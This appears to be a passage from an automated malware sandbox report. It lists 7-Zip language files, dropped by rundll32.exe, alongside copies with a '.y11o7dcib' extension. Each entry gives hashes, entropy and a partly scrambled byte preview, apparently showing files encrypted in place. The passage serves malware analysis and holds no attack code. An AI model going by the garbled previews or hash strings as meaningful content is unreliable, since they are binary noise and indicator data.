SHA-512:	0E7B3C56177F8025B6E88538096174438EC1C32DD98B7FB7622464ED69100DD229230AC9E4CD57008DD64097180A475209D8C5AC821FB2CAFF6FE195C59A3778
Malicious:	false
Preview:	.9p9.4.U......}R.n6X..P......\<.N..U.d......u.F..+.q..9\|2...;..;..;..;..;..;..0..7-Zip..Serbian - Latin..Srpski - latinica..401..U redu..Otka.i........Da..Ne..Zatvori..Pomo.....Nastavi..x....0.....-...11.oA3...........>...0.+....C.+.g.....[..w\|2..za..Pauza..Da li ste sigurni da .elite da prekinete?..500..Datoteka..Ure.ivanje..Pregled..Omiljeno..Alati..Pomo...540..Pogled-......[...-....%.?.=..z..x...\......;.1b7..V.o.{..#....R.]..daj..Promeni..Preimenuj..Kopiraj u.....Premesti u.....Obri.i..Podeli fajl.....Spoj delove.....Svojstva..Komentar..Izra.unajte <.t...A...2.,[R..B1 .....o..........<./..w.9.)..-......8B....600..Izaberi sve..Poni.ti izbor svega..Obrnuti izbor..Izaberi.....Poni.ti izbor.....Izaberi po tipu..Poni.ti izbor po tipu.F..2.~._..S...K..*_<.....i...}.g...>.I....X.%.....r.q..".W..ranja..Ravan pregled..2 Prozora..Trake sa alatkama..Otvori po.etnu fasciklu..Gore za jedan nivo..Hronologija.....Osve.avanje..{....&.P..~...R.."Z_....}....@...2.I

C:\Program Files\7-Zip\Lang\sv.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9539
Entropy (8bit):	6.6598949139254255
Encrypted:	false
SSDEEP:	192:3uj4ql/mcwGTM17uNdALBt4ZW3OVs2QLFDL820dYijKLR01C/iAY/K61SFB38BhK:+40mcwsMcHAgZQLJ820yijeh/iU94hQT
MD5:	765DB023E02E6D5F28CCE07BDC7091D6
SHA1:	5128EA0682E0510CC02D4DDB409E5FFEA63A6841
SHA-256:	E1F885949B363F72DDEDB65105B02A61167F242187A706D2ABDC4E74008D1D55
SHA-512:	83E9756084BC5836C096C2A1CDAF03E1F7550A783F70775704DE4D68B43AC19AEFAC76D10D6B47B125A3B687E1D32EF6412FEAFD06BB756AEF748F509A9298A9
Malicious:	false
Preview:	.......v.@G..zX....q.$:R.t...b....H.oPCJ$^.........9..0..[..qvist..; 4.59 : Bernhard Eriksson..; 22.00 : (2022-06-20) Mikael Hiort af Orn.s..;..;..;..;..;..;..;..;..0..7-Zip..Swedish..Sv..u[?M.#......#.r.........Y!..d...v..%.i".FH....&.....=..[b.]..ts.tt..440..Ja till &alla..Nej till a&lla..Stoppa..Starta om..&Bakgrunden..&F.rgrunden..&Pausa..Pausad...r du s.ker p. att ..&F7,.7..u.'O!>...K..<3.?B..H...D.=\|n.kd.........$..$e.-..kt&yg..&Hj.lp..540..&.ppna...ppna &internt...ppna &externt..&Visa..&Redigera..&Byt namn..&Kopiera till.....&Flytta till.......g.</.c..TC.?O>F....h4\.Y!..#....K..=.m!W....&.....>..&..v.omme&ntera..Ber.kna kontrollsumma..Differens..Skapa mapp..Skapa fil..&Avsluta..Skapa l.nk..&Alternativa datastr.mmar..600..Ma..cB?`.v......XsR.....${..5&.......Y..=.e?Y...!M...(..xF.v.vmarkera.....Markera efter typ..Avmarkera efter typ..700..St&ora ikoner..Sm&. ikoner..&Lista..&Detaljerad lista..730..Osorterad.V\?4.7.....X......h...^..0....^...q

C:\Program Files\7-Zip\Lang\sv.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9539
Entropy (8bit):	6.6598949139254255
Encrypted:	false
SSDEEP:	192:3uj4ql/mcwGTM17uNdALBt4ZW3OVs2QLFDL820dYijKLR01C/iAY/K61SFB38BhK:+40mcwsMcHAgZQLJ820yijeh/iU94hQT
MD5:	765DB023E02E6D5F28CCE07BDC7091D6
SHA1:	5128EA0682E0510CC02D4DDB409E5FFEA63A6841
SHA-256:	E1F885949B363F72DDEDB65105B02A61167F242187A706D2ABDC4E74008D1D55
SHA-512:	83E9756084BC5836C096C2A1CDAF03E1F7550A783F70775704DE4D68B43AC19AEFAC76D10D6B47B125A3B687E1D32EF6412FEAFD06BB756AEF748F509A9298A9
Malicious:	false
Preview:	.......v.@G..zX....q.$:R.t...b....H.oPCJ$^.........9..0..[..qvist..; 4.59 : Bernhard Eriksson..; 22.00 : (2022-06-20) Mikael Hiort af Orn.s..;..;..;..;..;..;..;..;..0..7-Zip..Swedish..Sv..u[?M.#......#.r.........Y!..d...v..%.i".FH....&.....=..[b.]..ts.tt..440..Ja till &alla..Nej till a&lla..Stoppa..Starta om..&Bakgrunden..&F.rgrunden..&Pausa..Pausad...r du s.ker p. att ..&F7,.7..u.'O!>...K..<3.?B..H...D.=\|n.kd.........$..$e.-..kt&yg..&Hj.lp..540..&.ppna...ppna &internt...ppna &externt..&Visa..&Redigera..&Byt namn..&Kopiera till.....&Flytta till.......g.</.c..TC.?O>F....h4\.Y!..#....K..=.m!W....&.....>..&..v.omme&ntera..Ber.kna kontrollsumma..Differens..Skapa mapp..Skapa fil..&Avsluta..Skapa l.nk..&Alternativa datastr.mmar..600..Ma..cB?`.v......XsR.....${..5&.......Y..=.e?Y...!M...(..xF.v.vmarkera.....Markera efter typ..Avmarkera efter typ..700..St&ora ikoner..Sm&. ikoner..&Lista..&Detaljerad lista..730..Osorterad.V\?4.7.....X......h...^..0....^...q

C:\Program Files\7-Zip\Lang\sw.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8848
Entropy (8bit):	6.565430287857858
Encrypted:	false
SSDEEP:	192:3++SCuZaYAkUdVwrGwIP4fLkBxX0ZZHED0jlgHRgX8+aS:LSCaNAkUZwIgYBxMZkD0VBN
MD5:	AD62E76B8310B9C86884088F90DBB66F
SHA1:	73E4F8F47982D14A596B83565B6AC4EBDB97646F
SHA-256:	720B6BE436304655D3B5E24C2B3A4184740E18586CF9944C5DBAD8F6B09BF865
SHA-512:	3885B55473A996998AFD0A6DB19AA98B4FB4E70A6BBC999E22E27736425CDC22A597B515A1454DD80C7D40A7870F2181ABED9590CF62C15051F53440E776104B
Malicious:	false
Preview:	M....a.W.....m;J....._M....o.r{...E:8.,.4.K:......%.E...;.;..;..;..;..;..;..;..;..0..7-Zip..Swahili..Kiswahili..401..Sawa..Ghairi........&Ndio..&Hapana..&Funga..Usaidizi....&Endelea..440{....`..`.d....);J.....JO.....{.+.$....au.>.4....._I.>.)....X.harinyuma..&Mandharimbele..&Tuliza..Imetulizwa..Una uhakika unataka kughairi?..500..&Faili..&Hariri..&Mwoneko..Z&inazopendwa..&Z...)..v. ...F.t....^....3...1,\....dy.$._.y5..Vk..$.E....X.ko..&Hariri..Pati&a jina upya..&Nakili hadi.....&Sogeza hadi.....&Futa..&Gawiza faili.....Ung&anisha nyaraka.....S&ifa..Toa m&ao........x.+.../^%.....&e9.._.).,#H....dy.&.7.m(..:A<..h....;.F&unga..Kiungo..&Mitiririsho mbadala..600..Teua &zote..Ondoa uteuzi wote..&Pindua uteuzi..Teua.....Ondoa uteuzi.....Teua kulinga...../..y.I....#W`...BO...W.:.1....iv.@.b.<V..\$O.'.#...<.koni ndogo..&Orodha..&Maelezo..730..Haijapangwa..Mwoneko bapa..&2 paneli..&Miambaa zana..Fungua kabrasha shina..Juu kiwango kimo.....f..x.-....lP/.....bg.[.<.;P...2e

C:\Program Files\7-Zip\Lang\sw.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8848
Entropy (8bit):	6.565430287857858
Encrypted:	false
SSDEEP:	192:3++SCuZaYAkUdVwrGwIP4fLkBxX0ZZHED0jlgHRgX8+aS:LSCaNAkUZwIgYBxMZkD0VBN
MD5:	AD62E76B8310B9C86884088F90DBB66F
SHA1:	73E4F8F47982D14A596B83565B6AC4EBDB97646F
SHA-256:	720B6BE436304655D3B5E24C2B3A4184740E18586CF9944C5DBAD8F6B09BF865
SHA-512:	3885B55473A996998AFD0A6DB19AA98B4FB4E70A6BBC999E22E27736425CDC22A597B515A1454DD80C7D40A7870F2181ABED9590CF62C15051F53440E776104B
Malicious:	false
Preview:	M....a.W.....m;J....._M....o.r{...E:8.,.4.K:......%.E...;.;..;..;..;..;..;..;..;..0..7-Zip..Swahili..Kiswahili..401..Sawa..Ghairi........&Ndio..&Hapana..&Funga..Usaidizi....&Endelea..440{....`..`.d....);J.....JO.....{.+.$....au.>.4....._I.>.)....X.harinyuma..&Mandharimbele..&Tuliza..Imetulizwa..Una uhakika unataka kughairi?..500..&Faili..&Hariri..&Mwoneko..Z&inazopendwa..&Z...)..v. ...F.t....^....3...1,\....dy.$._.y5..Vk..$.E....X.ko..&Hariri..Pati&a jina upya..&Nakili hadi.....&Sogeza hadi.....&Futa..&Gawiza faili.....Ung&anisha nyaraka.....S&ifa..Toa m&ao........x.+.../^%.....&e9.._.).,#H....dy.&.7.m(..:A<..h....;.F&unga..Kiungo..&Mitiririsho mbadala..600..Teua &zote..Ondoa uteuzi wote..&Pindua uteuzi..Teua.....Ondoa uteuzi.....Teua kulinga...../..y.I....#W`...BO...W.:.1....iv.@.b.<V..\$O.'.#...<.koni ndogo..&Orodha..&Maelezo..730..Haijapangwa..Mwoneko bapa..&2 paneli..&Miambaa zana..Fungua kabrasha shina..Juu kiwango kimo.....f..x.-....lP/.....bg.[.<.;P...2e

C:\Program Files\7-Zip\Lang\ta.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12775
Entropy (8bit):	5.788054701923632
Encrypted:	false
SSDEEP:	192:TMxcP4FxwB3NM//aszjge13rsQ+lx+RUnsnAceukwpaCE9KjVhYAH1hwXS:YbFxgNU/aCMdsTN169/w
MD5:	F472B51B95DB2B647701DC51DF9CBD13
SHA1:	67BE806D83286BD175065301CD7DA40BD1CBDFB6
SHA-256:	B19DD76346237FC429F0E0A5F51E6C9BD19D14665C63282ADDACC3BD53AEE0DA
SHA-512:	61CBD173149B4EF763756AF057D0D9CD607EB810C8AC18823DE1B473B0E9F9C6C769CA571CCCCD5EDE5B97CE24A09F5F892346B49BD1ABF1A0CA716382DDD3F4
Malicious:	false
Preview:	..{.B.H.9.N..6...4.j...(^...zSp.4fQ....V...*$.....ra.$T9. ....O..;..;..;..;..;..;..;..;..;..0..7-Zip..Tamil.........401................................['...".D...i..t....T,........y......657.B..<t.US..y...X.xj......440............... .................. ............E'...#.D.$Z.c......U3..,RY..=.._.Wx$......t.^...7.I.6l................................ ..................]..'...".D.1Z.cHt.[.....1....]..._.Sx%...'.'t.pS..y...X.xj.:........ ..... .................?..500.................n'.......`....j....T.........y......7..T.c..x:.?...6..c.6v.....................540............ ........... ..........].$h.K.l......L.:....wS....wWc.7....NL)j

C:\Program Files\7-Zip\Lang\ta.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12775
Entropy (8bit):	5.788054701923632
Encrypted:	false
SSDEEP:	192:TMxcP4FxwB3NM//aszjge13rsQ+lx+RUnsnAceukwpaCE9KjVhYAH1hwXS:YbFxgNU/aCMdsTN169/w
MD5:	F472B51B95DB2B647701DC51DF9CBD13
SHA1:	67BE806D83286BD175065301CD7DA40BD1CBDFB6
SHA-256:	B19DD76346237FC429F0E0A5F51E6C9BD19D14665C63282ADDACC3BD53AEE0DA
SHA-512:	61CBD173149B4EF763756AF057D0D9CD607EB810C8AC18823DE1B473B0E9F9C6C769CA571CCCCD5EDE5B97CE24A09F5F892346B49BD1ABF1A0CA716382DDD3F4
Malicious:	false
Preview:	..{.B.H.9.N..6...4.j...(^...zSp.4fQ....V...*$.....ra.$T9. ....O..;..;..;..;..;..;..;..;..;..0..7-Zip..Tamil.........401................................['...".D...i..t....T,........y......657.B..<t.US..y...X.xj......440............... .................. ............E'...#.D.$Z.c......U3..,RY..=.._.Wx$......t.^...7.I.6l................................ ..................]..'...".D.1Z.cHt.[.....1....]..._.Sx%...'.'t.pS..y...X.xj.:........ ..... .................?..500.................n'.......`....j....T.........y......7..T.c..x:.?...6..c.6v.....................540............ ........... ..........].$h.K.l......L.:....wS....wWc.7....NL)j

C:\Program Files\7-Zip\Lang\tg.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15441
Entropy (8bit):	6.16017866780053
Encrypted:	false
SSDEEP:	192:8J2xFfP4uURPJVQr8o4FCv/U3wZPqc7lJVEZU1Uj0tIsStuDgiQGCRTkJGmt7Tpw:8AURgQCv9ZPbvN1Bc+Hmpc5qipqzB
MD5:	F08AFE688882CCBE54D1AC78DBAEFBEC
SHA1:	A3C0C9A0775CEFEBE367FE79764064AEABCAC661
SHA-256:	EA56389304FB3BD5C8FE1C12AA1D1F7D26511E890CD97BB653F1AA191FBCF39D
SHA-512:	AB0CA7DF9CB3540E2973297AA3C7782C292468E21E2C63684B92C376B3631E7F53B42E8D503CE6FE95286ED1F2676E4DC9A192BB5803E43E371B278E0DB27691
Malicious:	false
Preview:	cv&....L...E8o\.t0......O..V^..a.IUxc....K.1Ma."..g.@...2&...,;..;..;..;..;..;..;..;..;..;..0..7-Zip..Tajik..........401........................&......&....&.....1.-.+U. .}...S..-$..7V.\n..H5.....?8..A.h....'z......%..9`6. &......... ..... &................. ........&........&.. ... .........&....<....T..+.#..x.(..$1.1V.^I..I...tr...1...B....&C..).ldE.`;m6....., .. ......... .... ...... .......?..500..&......&........&........&....\}HBK5.............%./.V.]S..H<..tro...`..}.....'u......u.s.e........... ..... &............ ..... .................&.............. ...\}Iz..a.2\|...y..w.DP~S2.2...;.....g}.?...7....I..`M...(s.X.V.....&.... ................. ..... &..........&..... ....... ................\uKtK;J'.......w&...QbS6.=..(S.....s.

C:\Program Files\7-Zip\Lang\tg.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15441
Entropy (8bit):	6.16017866780053
Encrypted:	false
SSDEEP:	192:8J2xFfP4uURPJVQr8o4FCv/U3wZPqc7lJVEZU1Uj0tIsStuDgiQGCRTkJGmt7Tpw:8AURgQCv9ZPbvN1Bc+Hmpc5qipqzB
MD5:	F08AFE688882CCBE54D1AC78DBAEFBEC
SHA1:	A3C0C9A0775CEFEBE367FE79764064AEABCAC661
SHA-256:	EA56389304FB3BD5C8FE1C12AA1D1F7D26511E890CD97BB653F1AA191FBCF39D
SHA-512:	AB0CA7DF9CB3540E2973297AA3C7782C292468E21E2C63684B92C376B3631E7F53B42E8D503CE6FE95286ED1F2676E4DC9A192BB5803E43E371B278E0DB27691
Malicious:	false
Preview:	cv&....L...E8o\.t0......O..V^..a.IUxc....K.1Ma."..g.@...2&...,;..;..;..;..;..;..;..;..;..;..0..7-Zip..Tajik..........401........................&......&....&.....1.-.+U. .}...S..-$..7V.\n..H5.....?8..A.h....'z......%..9`6. &......... ..... &................. ........&........&.. ... .........&....<....T..+.#..x.(..$1.1V.^I..I...tr...1...B....&C..).ldE.`;m6....., .. ......... .... ...... .......?..500..&......&........&........&....\}HBK5.............%./.V.]S..H<..tro...`..}.....'u......u.s.e........... ..... &............ ..... .................&.............. ...\}Iz..a.2\|...y..w.DP~S2.2...;.....g}.?...7....I..`M...(s.X.V.....&.... ................. ..... &..........&..... ....... ................\uKtK;J'.......w&...QbS6.=..(S.....s.

C:\Program Files\7-Zip\Lang\th.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	16168
Entropy (8bit):	5.89260721526895
Encrypted:	false
SSDEEP:	384:vjC+ossD5FcsvtJBPlvaPtw39ae58t6qZs64R2qIrINaH22S8PW01DZmDF+dG7I3:v++TsD5FBtJBPlvaPtk9aeWgqZB4R2qO
MD5:	2F96C14DF370C84144C0A0A69677F2F8
SHA1:	FB9BA4901C9CD112049E258E3CCDED05BEECE10E
SHA-256:	0AB5A0FD13D7A6DE8617953F588B42D2453BAD04F52560244D245404F8FD5B91
SHA-512:	E4C71B5B40D2C676D118D8BED669EA2239AB94E6A8615DF8025D84F40545073F5E8B406AF04CFB5327D7E8858DDFF76599385EBA8E39193CDC01434F6FE86895
Malicious:	false
Preview:	3...E....%.E.....L.uY...v..,......B...Y.-..8...n.wF.9w;.5...afire06..; 9.13 : Kom10..;..;..;..;..;..;..;..;..0..7-Zip..Thai.......401......................&..V. i..{v..Y.zD..KG....N.<P...!i\|.....z(..-.u[.15.>..z.T.<..X...............440...................................<..H.3!#v....T,'..........1.w.!x\|....(z(..,.uZ.15..>.z......?..&...................&..........................d.8...E{w,.Y..zM...G....`.<Y.O.y[?.8M..7p.t....cm..f.."...\.;.....500..&......&.......&........&............&........<..H....t.k..K,'...../../1.R.!T\|.-.'...q2..,c.i...2..V.S.\. ......................................&........&<..H.-!"Ft.e..A........4..!1.B. k\|."..(z

C:\Program Files\7-Zip\Lang\th.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	16168
Entropy (8bit):	5.89260721526895
Encrypted:	false
SSDEEP:	384:vjC+ossD5FcsvtJBPlvaPtw39ae58t6qZs64R2qIrINaH22S8PW01DZmDF+dG7I3:v++TsD5FBtJBPlvaPtk9aeWgqZB4R2qO
MD5:	2F96C14DF370C84144C0A0A69677F2F8
SHA1:	FB9BA4901C9CD112049E258E3CCDED05BEECE10E
SHA-256:	0AB5A0FD13D7A6DE8617953F588B42D2453BAD04F52560244D245404F8FD5B91
SHA-512:	E4C71B5B40D2C676D118D8BED669EA2239AB94E6A8615DF8025D84F40545073F5E8B406AF04CFB5327D7E8858DDFF76599385EBA8E39193CDC01434F6FE86895
Malicious:	false
Preview:	3...E....%.E.....L.uY...v..,......B...Y.-..8...n.wF.9w;.5...afire06..; 9.13 : Kom10..;..;..;..;..;..;..;..;..0..7-Zip..Thai.......401......................&..V. i..{v..Y.zD..KG....N.<P...!i\|.....z(..-.u[.15.>..z.T.<..X...............440...................................<..H.3!#v....T,'..........1.w.!x\|....(z(..,.uZ.15..>.z......?..&...................&..........................d.8...E{w,.Y..zM...G....`.<Y.O.y[?.8M..7p.t....cm..f.."...\.;.....500..&......&.......&........&............&........<..H....t.k..K,'...../../1.R.!T\|.-.'...q2..,c.i...2..V.S.\. ......................................&........&<..H.-!"Ft.e..A........4..!1.B. k\|."..(z

C:\Program Files\7-Zip\Lang\tk.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9545
Entropy (8bit):	6.7458252526888485
Encrypted:	false
SSDEEP:	192:/Kuib62TgJX9mnSy0qmQ0GOeDMfjrLl/ysXvhJ4PF+4PdV7Y9qyMmvXhi2S:/Ku99WSy/O7Dl/ysfwPF3PdV7Y9qyMm0
MD5:	F3B18E0A013B57722FA45CD91A30D56E
SHA1:	07DB78D2CBC183583B4E86C1BAB97689C740FD36
SHA-256:	3A6727B90479164D37F48FF1ACABC3393DD8C5C6041EB3F148C11B096F4349D6
SHA-512:	0992CEF769AC89E6569928E06BE976A58EAB0C00828F3CDE877D78757D05F81A2F8FEFB6532217A2A2DC033F0DE0265E22EFAAE17152B987DC0F0BFF2E172EA2
Malicious:	false
Preview:	.]9T?....; $......+./. m.v....Lo..\M.Y:+\|)..o.}......M...4Ulkan H.K...;..;..;..;..;..;..;..;..;..;..0..7-Zip..Turkmen..T.rkmen.e..401..Howwa..Go.bolsun et........&Howwa..&.ok...a&p.....u;.BW...}....w......$y.[.n...:.....u.n}......B...]....b.{>Dur..Ga.tadan ba.la..&G.r.nme..&..e .yksyn..&S.gindir..S.gindi..Go.bolsun etjekmi?..500..&Dos.a..&D.zelt..&G.r..F&a...q*..D..2V...w....J}. .=.,..QR..-..n.@P...o...n.u..\|.>.Ut..U A...&G.r..&D.zelt..Adyn&y ..tget...u .ere &kop.ala......u .ere &g...r.....&...r..Fa.ly &b.l.....Fa.llary &bi.......D.4[}...Ogl.z..m.}(.3.+...,.....M4k....m...E...Q.V.l..U..Tapawutlanma..Bukja d.ret..Fa.l d.ret..&.yk..Bag..Akymlary .&aly...600..Hemmesini Se...Hemmesini Se.me..Se.im&i tersi..Y......#.zK..8.I...}(.x.+.../.....:....M.....y..Q..R.d...g.ra se.me..700..U&ly Ikon..Ki.i Ikon..Tablissa..Jikme-jikleri..730..Sortlanmadyk..D.z G.rn....&2 Paneller..&Esbaplar..D.n..h~..].{..../+....h.U.{'.v]....-..f.%.

C:\Program Files\7-Zip\Lang\tk.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9545
Entropy (8bit):	6.7458252526888485
Encrypted:	false
SSDEEP:	192:/Kuib62TgJX9mnSy0qmQ0GOeDMfjrLl/ysXvhJ4PF+4PdV7Y9qyMmvXhi2S:/Ku99WSy/O7Dl/ysfwPF3PdV7Y9qyMm0
MD5:	F3B18E0A013B57722FA45CD91A30D56E
SHA1:	07DB78D2CBC183583B4E86C1BAB97689C740FD36
SHA-256:	3A6727B90479164D37F48FF1ACABC3393DD8C5C6041EB3F148C11B096F4349D6
SHA-512:	0992CEF769AC89E6569928E06BE976A58EAB0C00828F3CDE877D78757D05F81A2F8FEFB6532217A2A2DC033F0DE0265E22EFAAE17152B987DC0F0BFF2E172EA2
Malicious:	false
Preview:	.]9T?....; $......+./. m.v....Lo..\M.Y:+\|)..o.}......M...4Ulkan H.K...;..;..;..;..;..;..;..;..;..;..0..7-Zip..Turkmen..T.rkmen.e..401..Howwa..Go.bolsun et........&Howwa..&.ok...a&p.....u;.BW...}....w......$y.[.n...:.....u.n}......B...]....b.{>Dur..Ga.tadan ba.la..&G.r.nme..&..e .yksyn..&S.gindir..S.gindi..Go.bolsun etjekmi?..500..&Dos.a..&D.zelt..&G.r..F&a...q*..D..2V...w....J}. .=.,..QR..-..n.@P...o...n.u..\|.>.Ut..U A...&G.r..&D.zelt..Adyn&y ..tget...u .ere &kop.ala......u .ere &g...r.....&...r..Fa.ly &b.l.....Fa.llary &bi.......D.4[}...Ogl.z..m.}(.3.+...,.....M4k....m...E...Q.V.l..U..Tapawutlanma..Bukja d.ret..Fa.l d.ret..&.yk..Bag..Akymlary .&aly...600..Hemmesini Se...Hemmesini Se.me..Se.im&i tersi..Y......#.zK..8.I...}(.x.+.../.....:....M.....y..Q..R.d...g.ra se.me..700..U&ly Ikon..Ki.i Ikon..Tablissa..Jikme-jikleri..730..Sortlanmadyk..D.z G.rn....&2 Paneller..&Esbaplar..D.n..h~..].{..../+....h.U.{'.v]....-..f.%.

C:\Program Files\7-Zip\Lang\tr.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10161
Entropy (8bit):	6.749191399504594
Encrypted:	false
SSDEEP:	192:tGTr05Ph7kTLmgvqvenH7O1NMbS4KnhzbT0P822LdT66t9HwacCCzS:tGTwhoTLmgvqvgHq2VKn5TRLy2
MD5:	9D0B3B218DC4565A2118BAF5E927C873
SHA1:	362153F915B43E3E449511F719B1F83DD5079C74
SHA-256:	ABD96FFB531CAA3AE1EF240854EB7EF6130B79384C31739D0986075C11D2C971
SHA-512:	1F8BB8532AEF51F00DC7704AD8A8E092631BCC2078486EDAC861683CC605A34391FB75A19F80B3CD01E06F3714B635236D8743EE8E376E9632EC368BCA87A7D3
Malicious:	false
Preview:	..s.[........."..>\$N[.9!....+..#b....'.....}..b=..b.>.-%18-11-21 : Kaya Zeren..; 9.07 : 2009-09-22 : X-FoRcE ..;..;..;..;..;..;..;..;..0..7-Zip..Turkish..T.rk.e..401..Tamam...ptal...9.0........#..N.r2~c.X .s`Y./.g@......l.......C.9Y\..?...z5&Evet..T.m.ne &Hay.r..Durdur..Yeniden Ba.lat..&Arka Planda...&n Planda..&Duraklat..Duraklat.ld....ptal etmek istedi.ini....W.......@.."..<c.X/.pxL./...t5....A..Q..m.z....f$rsq.stn.lanlar..&Ara.lar..&Yard.m..540..&A...7-Zip ..i&nde A...&Varsay.lan Uygulamada A...&G.r.nt.le..D.&zenle..&Yeniden .._.T.Z.....H.1...G.,...o`.....y.o#gs.B.l...riz..Y.>u[.#_2@.llay. &B.l.....Dosyalar. Bi&rle.tir......&zellikler..A..kla&ma......Sa.lamalar. Hesapla..Fark..Klas.r Olu.tur..Dosya Ol.c..O..+2Na].B..m..G..k..c..'.I.c@.o$....!3..r....}..c.....ig.{. &Se...T.m.n.n Se.imini Kald.r..Se.imi &Tersine .evir..Se......Se.imini Kald.r.....T.re G.re Se...T.re G.re SeO.Z.S..@..a].$....,...d.j..L.aW.k"..

C:\Program Files\7-Zip\Lang\tr.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10161
Entropy (8bit):	6.749191399504594
Encrypted:	false
SSDEEP:	192:tGTr05Ph7kTLmgvqvenH7O1NMbS4KnhzbT0P822LdT66t9HwacCCzS:tGTwhoTLmgvqvgHq2VKn5TRLy2
MD5:	9D0B3B218DC4565A2118BAF5E927C873
SHA1:	362153F915B43E3E449511F719B1F83DD5079C74
SHA-256:	ABD96FFB531CAA3AE1EF240854EB7EF6130B79384C31739D0986075C11D2C971
SHA-512:	1F8BB8532AEF51F00DC7704AD8A8E092631BCC2078486EDAC861683CC605A34391FB75A19F80B3CD01E06F3714B635236D8743EE8E376E9632EC368BCA87A7D3
Malicious:	false
Preview:	..s.[........."..>\$N[.9!....+..#b....'.....}..b=..b.>.-%18-11-21 : Kaya Zeren..; 9.07 : 2009-09-22 : X-FoRcE ..;..;..;..;..;..;..;..;..0..7-Zip..Turkish..T.rk.e..401..Tamam...ptal...9.0........#..N.r2~c.X .s`Y./.g@......l.......C.9Y\..?...z5&Evet..T.m.ne &Hay.r..Durdur..Yeniden Ba.lat..&Arka Planda...&n Planda..&Duraklat..Duraklat.ld....ptal etmek istedi.ini....W.......@.."..<c.X/.pxL./...t5....A..Q..m.z....f$rsq.stn.lanlar..&Ara.lar..&Yard.m..540..&A...7-Zip ..i&nde A...&Varsay.lan Uygulamada A...&G.r.nt.le..D.&zenle..&Yeniden .._.T.Z.....H.1...G.,...o`.....y.o#gs.B.l...riz..Y.>u[.#_2@.llay. &B.l.....Dosyalar. Bi&rle.tir......&zellikler..A..kla&ma......Sa.lamalar. Hesapla..Fark..Klas.r Olu.tur..Dosya Ol.c..O..+2Na].B..m..G..k..c..'.I.c@.o$....!3..r....}..c.....ig.{. &Se...T.m.n.n Se.imini Kald.r..Se.imi &Tersine .evir..Se......Se.imini Kald.r.....T.re G.re Se...T.re G.re SeO.Z.S..@..a].$....,...d.j..L.aW.k"..

C:\Program Files\7-Zip\Lang\tt.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14515
Entropy (8bit):	6.301949502515294
Encrypted:	false
SSDEEP:	384:b6C2l6+cI4+2yqQbPe7SMVPVGcaS8Oj1F9Jm:b92l6+cI4rTQbPeWMfGcXF9s
MD5:	AD454135D1617001BD54C3A277D91655
SHA1:	AF49D21A39FB065A4C647E0BF53904C11A0B0666
SHA-256:	DF88C767F0E2449F6E0DB2FC94B47FA91AC19F6829E34F4ED6551152EC62C50C
SHA-512:	9FEB81813CA84A69E999CCD903A9EB85C67C356A924F703442CBA4821ADBE9538AD29C0435D635410DE90071A52FAF61ED37889D9CC2000BA1879C2922FCE6E9
Malicious:	false
Preview:	oD....%...:Ls.N.....2.(A....y....[.I..g.Qm..U.yq...$.4fB;..r..;..;..;..;..;..;..;..;..0..7-Zip..Tatar...........401..OK..... .............&.....&....&...........4,.y...I..Y...i.L....N].:...^C.B.i. .~..G..t..7.6....~N.& ........ .&....... ....................&.......&.... ........&............PK......G,Y....i'. y.9....j.....e..0Dsq.-..#n....O.e.........500..&......&.........&.......&...........&.........&.........540..&...........:,...Ez..w9...s.... o...M~..0.....`T.r@..\|%"v....N.e.JSM...x. ............... &............&.................&..............&............$/.y.Eq.+v.ZK.q..JE x...N]..>T3..e..<..#.~..r<.u........\|V................&..............&............... .....................&..... ....y.DJ.%w9wg.d....I.....LE.....t..{.U.

C:\Program Files\7-Zip\Lang\tt.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14515
Entropy (8bit):	6.301949502515294
Encrypted:	false
SSDEEP:	384:b6C2l6+cI4+2yqQbPe7SMVPVGcaS8Oj1F9Jm:b92l6+cI4rTQbPeWMfGcXF9s
MD5:	AD454135D1617001BD54C3A277D91655
SHA1:	AF49D21A39FB065A4C647E0BF53904C11A0B0666
SHA-256:	DF88C767F0E2449F6E0DB2FC94B47FA91AC19F6829E34F4ED6551152EC62C50C
SHA-512:	9FEB81813CA84A69E999CCD903A9EB85C67C356A924F703442CBA4821ADBE9538AD29C0435D635410DE90071A52FAF61ED37889D9CC2000BA1879C2922FCE6E9
Malicious:	false
Preview:	oD....%...:Ls.N.....2.(A....y....[.I..g.Qm..U.yq...$.4fB;..r..;..;..;..;..;..;..;..;..0..7-Zip..Tatar...........401..OK..... .............&.....&....&...........4,.y...I..Y...i.L....N].:...^C.B.i. .~..G..t..7.6....~N.& ........ .&....... ....................&.......&.... ........&............PK......G,Y....i'. y.9....j.....e..0Dsq.-..#n....O.e.........500..&......&.........&.......&...........&.........&.........540..&...........:,...Ez..w9...s.... o...M~..0.....`T.r@..\|%"v....N.e.JSM...x. ............... &............&.................&..............&............$/.y.Eq.+v.ZK.q..JE x...N]..>T3..e..<..#.~..r<.u........\|V................&..............&............... .....................&..... ....y.DJ.%w9wg.d....I.....LE.....t..{.U.

